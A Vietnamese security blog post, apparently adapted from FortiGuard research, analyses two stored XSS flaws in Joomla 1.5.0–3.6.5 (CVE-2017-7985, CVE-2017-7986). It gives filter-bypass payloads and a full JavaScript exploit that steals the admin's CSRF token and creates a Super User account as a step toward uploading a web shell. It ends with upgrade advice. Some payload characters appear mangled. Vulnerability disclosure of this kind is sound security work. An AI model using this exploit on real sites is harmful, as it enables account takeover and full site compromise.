Joomla! Là một trong những giải pháp quản lý nội dung phổ biến nhất trên thế giới (CMS). Nó cho phép người sử dụng để xây dựng các trang web tùy chỉnh và các ứng dụng trực tuyến mạnh mẽ. Theo fortinet thì có tới 3% các trang web đang chạy Joomla, con số này chiếm hơn 9 phần trăm thị phần của CMS.
Tính đến tháng 11 năm 2016, Đã có tới 78 triệu lượt tải Joomla. Hơn 7.800 phần mở rộng miễn phí và thương mại cũng hiện có trên Joomla! Các phiên bản phát triển cũng đang được nhiều người sử dụng.
Chuyên gia nghiên cứu bảo mật của FortiGuard đã phát hiện ra hai lỗ hổng trong XSS (Cross-Site Scripting) trong Joomla . Đó là CVE-2017-7985 và CVE-2017-7986. Những lỗ hổng này ảnh hưởng đến Joomla trong phiên bản 1.5.0 đến 3.6.5. Joomla thất bại trong việc ngăn cản những dữ liệu xấu được gửi tới dẫn đến nguy cơ bị hacker tấn công. Các tin tặc có thể tấn công từ xa và có thể khai thác chúng để chạy mã độc trên trình duyệt của nạn nhân, hon nữa lỗ hổng này còn có khả năng cho phép tin tặc chiếm quyền điều khiển và kiểm soát trong tài khoản Joomla của nạn nhân. Nếu nạn nhân bị tấn công là admin thì tin tặc sẽ chiếm toàn quyền quản trị hoàn toàn máy chủ website.
Trước khi tìm hiểu và phân tích lỗ hổng CVE-2017-7985 và CVE-2017-7986, hãy cùng SecurityBox review 1 chút về Joomla.
– Về cơ bản thì Joomla có bộ lọc XSS riêng. Ví dụ: người dùng có quyền đăng bài không được phép sử dụng các thuộc tính trong HTML 1 cách đầy đủ. Khi người dùng đăng một bài viết với các thuộc tính HTML, Joomla Sẽ khử các mã nguy hiểm như “javascript: alert ()”, “background: url ()” . Về khía cạnh client, nó sử dụng trình soạn thảo có tên là “TinyMCE”. Ở phía máy chủ, nó sẽ ngăn chặn việc yêu cầu trước khi lưu trữ nó trên máy chủ.
Phân tích:
Để minh chứng cho lỗ hổng này, bạn có thể thử bằng 1 tài khoản ” yzy1″. Nó không cho phép sử dụng các thuộc tính trong HTML 1 cách đầy đủ. Để vượt qua sự ngăn chặn của máy chủ, kẻ tấn công có thể sử dụng một công cụ đánh chặn mạng như Burp Suite hoặc chỉ cần thay đổi trình soạn thảo mặc định sang các Joomla khác. Trình soạn thảo có sẵn, như CoodeMirror hoặc None như hìn dưới đây:
Ở phía máy chủ, bạn có thể tìm thấy 2 cách để bỏ qua bộ lọc XSS. Chúng được xác định là CVE-2017-7985 và CVE-2017-7986.
Lỗ hổng CVE-2017- 7985
Bộ lọc XSS phía máy chủ ngăn chặn các đoạn mã nguy hiểm và lưu các ký tự an toàn. Ví dụ, bạn có thể gửi đoạn mã sau bằng tài khoản thử nghiệm “style=”background:url()” <img src=x oneerror=alert(1)><a href=”test”>test</a>”. Joomla sẽ ngăn chặn nó bằng cách tăng gấp đôi số trích dẫn “style=”background:url()”” , xóa “oneerror=alert(1)”, và thêm liên kết an toàn vào các URL. Xem hình dưới đây:
Nhưng kẻ tấn công có thể lợi dụng bộ lọc bằng cách cố gắng để bộ lọc khôi phục mã và xây dựng lại các tập lệnh. Ví dụ: chúng ta có thể thêm mã Lưu ý rằng dấu nháy kép trong “background:url()”><img”. Khi nạn nhân truy cập vào bài đăng, bất kể nó được xuất bản hay không, mã XSS chèn vào sẽ được kích hoạt ở cả trang chính và trang quản trị viên, như hình này:
CVE-2017-7986
Khi đăng một bài viết, kẻ tấn công có thể bỏ qua bộ lọc XSS trong một thẻ HTML <button> bằng cách thay đổi kịch bản từ “javascript:alert()” thành “javascript:alert()” bởi vì “&conlon;” là dấu hiệu “:” ở định dạng HTML. Kẻ tấn công sau đó có thể kích hoạt mã lệnh này bằng cách thêm một thẻ <form>. Chẳng hạn, kẻ tấn công có thể chèn đoạn mã sau trong một bài báo . Ví dụ:
Khi nạn nhân truy cập vào bài đăng, bất kể nó được xuất bản hay không, và nhấp vào nút “Click me”, mã XSS được chèn vào sẽ được kích hoạt ở cả trang chính và trang quản trị viên, như hình dưới đây:
Khai thác
Ở đây, mình sẽ đưa ra một ví dụ khai thác cho CVE-2017-7986, cho phép kẻ tấn công có tài khoản người dùng thấp tạo tài khoản Super User và tải lên một trình bao web. Để đạt được điều này, mình sẽ viết một đoạn mã JavaScript nhỏ để tạo tài khoản Super User bằng cách sử dụng sự cho phép của quản trị viên trang web. Đầu tiên nó lấy được mã thông báo CSRF từ trang chỉnh sửa của người dùng “index.php?option=com_users$view=user$layout=edit”, sau đó gửi yêu cầu tạo tài khoản Super User cho máy chủ bằng mã CSRF bị đánh cắp. Super User mới sẽ là ‘Fortinet Yzy’ với mật khẩu ‘test’.
Code:
var request = new XMLHttpRequest();
var req = new XMLHttpRequest();
var id = ”;
var boundary = Math.random().toString().substr(2);
var space = “—————————–“;
request.open(‘GET’, ‘index.php?option=com_users&view=user&layout=edit’, true);
request.onload = function() {
if (request.status >= 200 && request.status < 400) {
var resp = request.responseText;
var myRegex = /<input type=”hidden” name=”([a-z0-9]+)” value=”1″ \/>/;
id = myRegex.exec(resp)[1];
req.open(‘POST’, ‘index.php?option=com_users&layout=edit&id=0’, true);
req.setRequestHeader(“content-type”, “multipart/form-data; boundary=—————————” + boundary);
var multipart = space + boundary +
“\r\nContent-Disposition: form-data; name=\”jform[name]\”” +
“\r\n\r\nFortinet Yzy\r\n” +
space + boundary +
“\r\nContent-Disposition: form-data; name=\”jform[username]\”” +
“\r\n\r\nfortinetyzy\r\n” +
space + boundary +
“\r\nContent-Disposition: form-data; name=\”jform[password]\”” +
“\r\n\r\ntest\r\n” +
space + boundary +
“\r\nContent-Disposition: form-data; name=\”jform[password2]\”” +
“\r\n\r\ntest\r\n” +
space + boundary +
“\r\nContent-Disposition: form-data; name=\”jform[email]\”” +
“\r\n\r\[email protected]\r\n” +
space + boundary +
“\r\nContent-Disposition: form-data; name=\”jform[registerDate]\”” +
“\r\n\r\n\r\n” +
space + boundary +
“\r\nContent-Disposition: form-data; name=\”jform[lastvisitDate]\”” +
“\r\n\r\n\r\n” +
space + boundary +
“\r\nContent-Disposition: form-data; name=\”jform[lastResetTime]\”” +
“\r\n\r\n\r\n” +
space + boundary +
“\r\nContent-Disposition: form-data; name=\”jform[resetCount]\”” +
“\r\n\r\n0\r\n” +
space + boundary +
“\r\nContent-Disposition: form-data; name=\”jform[sendEmail]\”” +
“\r\n\r\n0\r\n” +
space + boundary +
“\r\nContent-Disposition: form-data; name=\”jform[block]\”” +
“\r\n\r\n0\r\n” +
space + boundary +
“\r\nContent-Disposition: form-data; name=\”jform[requireReset]\”” +
“\r\n\r\n0\r\n” +
space + boundary +
“\r\nContent-Disposition: form-data; name=\”jform[id]\”” +
“\r\n\r\n0\r\n” +
space + boundary +
“\r\nContent-Disposition: form-data; name=\”jform[groups][]\”” +
“\r\n\r\n8\r\n” +
space + boundary +
“\r\nContent-Disposition: form-data; name=\”jform[params][admin_style]\”” +
“\r\n\r\n\r\n” +
space + boundary +
“\r\nContent-Disposition: form-data; name=\”jform[params][admin_language]\”” +
“\r\n\r\n\r\n” +
space + boundary +
“\r\nContent-Disposition: form-data; name=\”jform[params][language]\”” +
“\r\n\r\n\r\n” +
space + boundary +
“\r\nContent-Disposition: form-data; name=\”jform[params][editor]\”” +
“\r\n\r\n\r\n” +
space + boundary +
“\r\nContent-Disposition: form-data; name=\”jform[params][helpsite]\”” +
“\r\n\r\n\r\n” +
space + boundary +
“\r\nContent-Disposition: form-data; name=\”jform[params][timezone]\”” +
“\r\n\r\n\r\n” +
space + boundary +
“\r\nContent-Disposition: form-data; name=\”task\”” +
“\r\n\r\nuser.apply\r\n” +
space + boundary +
“\r\nContent-Disposition: form-data; name=\”” + id + “\”” +
“\r\n\r\n1\r\n” +
space + boundary + “–\r\n”;
req.onload = function() {
if (req.status >= 200 && req.status < 400) {
var resp = req.responseText;
console.log(resp);
}
};
req.send(multipart);
}
};
request.send();
Kẻ tấn công có thể thêm mã này vào Joomla! Bằng cách khai thác lỗ hổng XSS này:
Khi quản trị viên trang web kích hoạt cuộc tấn công XSS này trong trang quản trị , tài khoản Super User sẽ được tạo ngay lập tức
Kẻ tấn công có thể đăng nhập vào Joomla và sử dụng sự cho phép Super User mới và tải lên trang web bằng cách cài đặt một plugin
Giải pháp
Tất cả người dùng Joomla nên nâng cấp lên phiên bản mới nhất ngay lập tức. Ngoài ra, các tổ chức đã triển khai các giải pháp IPS của Fortinet đã được bảo vệ khỏi các lỗ hổng này bằng chữ ký của Joomla .Core.Article.Post.Colon.Char.XSS và Joomla .Core.Article.Post.Quote.Char.XSS.